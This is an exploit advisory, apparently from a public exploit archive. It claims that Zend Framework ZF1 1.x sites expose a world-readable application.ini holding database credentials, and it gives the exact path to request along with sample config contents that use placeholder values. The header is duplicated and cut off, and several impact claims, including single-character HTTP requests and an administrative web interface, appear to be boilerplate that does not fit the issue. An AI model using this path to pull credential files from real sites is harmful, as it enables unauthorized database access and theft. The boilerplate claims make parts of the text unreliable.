####################################################################

# Exploit Title : Zend Framework ZF1 1.x Database Config Disclosure
# Author [ Discovered By ] : KingSkrupe ####################################################################

# Exploit Title : Zend Framework ZF1 1.x Database Config Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 14/02/2019
# Vendor Homepage : zend.com
# Software Download Link : github.com/RalfEggert/zf1example/archive/master.zip
# Software Information Link : github.com/RalfEggert/zf1example
# Software Version : 1.x
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-16 [ Configuration ] ~ CWE-200 [ Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

####################################################################

# Description about Software :
***************************
Zend Framework is a collection of professional PHP packages.

####################################################################

# Impact :
***********
Zend Framework ZF1 1.x [ and other versions ] configuration file may potentially

disclose sensitive information to remote attackers.

The configuration file that Zend Framework ZF1 1.x stored in

/application/modules/default/configs/application.ini

HTTP requests consisting of a single character will cause the software to

disclose sensitive configuration information, including the password/database to the administrative web interface.

This file is installed, by default, with world readable and possibly world writeable permissions enabled.

This may have some potentially serious consequences as the configuration

file also stores password information in plain text.

This issue occurs because access controls on configuration files are not properly set.

An attacker can exploit this issue to retrieve potentially sensitive information.

Attackers can access config file via URL request. This may aid in further attacks.

####################################################################

# Database Config Disclosure Exploit :
**********************************
/application/modules/default/configs/application.ini

; resource db
resources.db.adapter = "PDO_MYSQL"
resources.db.params.host = "localhost"
resources.db.params.dbname = "dbname123"
resources.db.params.username = "dbuser123"
resources.db.params.password = "dbpass123"
resources.db.params.charset = "utf8"
resources.db.defaultMetadataCache = "metadata"

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

####################################################################